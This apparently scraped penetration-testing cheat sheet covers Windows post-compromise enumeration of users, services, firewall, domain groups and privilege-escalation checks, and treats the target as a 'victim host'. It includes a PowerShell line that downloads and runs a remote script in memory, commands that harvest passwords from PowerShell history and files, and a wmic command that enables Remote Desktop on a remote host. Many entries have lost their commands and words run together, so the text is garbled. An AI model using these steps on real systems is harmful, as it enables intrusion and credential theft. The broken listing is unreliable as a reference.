Information gathering
Host
System Information
sysinfo - [cmd / powershell]
System - [powershell] path- [powershell] windows defender - [cmd] sc – service controll Displays the domain name to which the host belongs (ran from CMD-prompt) Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)User and groups
local
my user
user - [cmd] user - [powershell]get-localuser
get-localuser -name <user-name> | select *
get-localuser -name <user-name> | select Name,Enabled,LastLogon
Cron
scheduled tasks
Process
list of processes that are mapped to a specific Windows service
Service
show all services running on the machine [cmd]
show services [cmd][powershell]
[powershell]Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartMode | Where-Object {$_.State -like 'Running'}
Network
Prints out adapter settings for the host.
Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host. Active network connections Lists all known hosts stored in the arp table. Test connectionFirewall
Displays the status of the host's firewall. We can determine if it is active and filtering traffic.
firewall - powershellnetsh advfirewall firewall dump
netsh advfirewall firewall show rule name=all
netsh advfirewall show currentprofile
netsh advfirewall show allprofiles
netsh firewall show state
netsh firewall show config
Installed Applications
application - [cmd]
updates - [cmd] windows antyvirus antimalware windows defenderReadable/Writable Files and Directories
- -u to suppress errors - -w to search for write access permissions - -s to perform a recursive search
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Disks
enumeration all disks
Device Drivers and Kernel Modules
Enunerate drivers
get detailsGet-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
Binaries That AutoElevate
If this key is enabled HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE, any user can run Windows Installer with elevated privileges.
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
Directory permission
get-acl -path "C:\Program Files\Unquoted Path Service\" | Format-Table -wrap
get-acl -path "C:\Program Files\Unquoted Path Service\" | Format-List
Shares
Logs and Events
Harnessing PowerShell
Lists available modules loaded for use.
Will print the execution policy settings for each scope on a host.
This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.
With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Return environment values such as key paths, users, computer information, etc.
Download a file from the web using PowerShell and call it from memory.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
Am I Alone?
Windows Management Instrumentation (WMI)
Prints the patch level and description of the Hotfixes applied
Displays basic host information to include any attributes within the list
A listing of all processes on host
Displays information about the Domain and Domain Controllers
Displays information about all local accounts and any domain accounts that have logged into the device
Information about all local groups
Dumps information about any system accounts that are being used as service accounts.
Host Enumeration OS
Anti-Virus Peripherals Installed Updates Directory Listing and File Searchwmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
Domain Enumeration Domain and DC Info
Domain User Info List All Users List All Groups Members of A Groupwmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="YOURDOMAINHERE"")
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
OR
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname
Execute Remote Command
Enable Remote Desktop
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
OR
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
Net Commands
Information about password requirements
Password and lockout policy
Information about domain groups
List of users with domain admin privileges
List of PCs connected to the domain
List of PC accounts of domains controllers
User that belongs to the group
List of domain groups
All available groups
List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
Information about a group (admins)
Add user to administrators
Check current shares
Get information about a user within the domain
List of all users of the domain
Information about the current user
Mount the share locally
Get a list of computers
Shares on the domains
List shares of a computer
List of PCs of the domain
Dsquery
Dsquery is a helpful command-line tool that can be utilized to find Active Directory objects.
User Search
Computer Search
We can use a dsquery wildcard search to view all objects in an OU.
Users With Specific Attributes Set (PASSWD_NOTREQD)
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
Searching for Domain Controllers
Automated Enumeration
executable
- winPEASany.exe
- Seatbelt.exe
- watson.exe
- SharpUp.exe
powerShell
windows-exploit-suggester
- windows-exploit-suggester
/opt/windows/windows-exploit-suggester systeminfo.out -i "Elevation of Privilege" -e > exploits.txt
windows-privesc-check2.exe
- windows-privesc-check
windows-privesc-check2.exe --dump -G
metasploit